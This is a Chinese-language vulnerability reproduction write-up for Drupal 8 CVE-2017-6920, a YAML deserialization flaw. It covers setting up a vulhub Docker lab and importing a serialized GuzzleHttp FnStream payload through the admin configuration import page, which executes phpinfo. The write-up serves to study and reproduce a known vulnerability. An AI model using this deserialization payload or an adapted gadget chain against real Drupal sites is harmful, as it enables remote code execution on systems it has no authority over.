Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞（CVE-2017-6920）

漏洞背景

Drupal是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal 8.0.0版本至8.3.4之前版本中存在远程代码执行漏洞，该漏洞源于PECL YAML解析器没有安全的处理PHP对象。远程攻击者可利用该漏洞在受影响应用程序上下文中执行任意代码或造成拒绝服务。

影响版本

Drupal Drupal 8.0.0 - 8.3.4

漏洞复现

我这里用的是vulhub的环境，需要基础配置，我这里也会放出来：

#获得一个靶机的shell交互界面，CONTAINER换成自己的容器ID
docker exec -i -t CONTAINER /bin/bash
# 换镜像源，默认带vim编辑器，所以用cat换源，可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器，CONTAINER换成自己的容器ID
docker restart CONTAINER

完成以上步骤后，再看以下步骤：

• 1.登录一个管理员账号
• 2.访问 http://127.0.0.1:8080/admin/config/development/configuration/single/import
• 3.如下图所示，Configuration type 选择 Simple configuration，Configuration name 任意填写，Paste your configuration here 中填写PoC如下：

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

完成后点击Import就能够执行phpinfo了!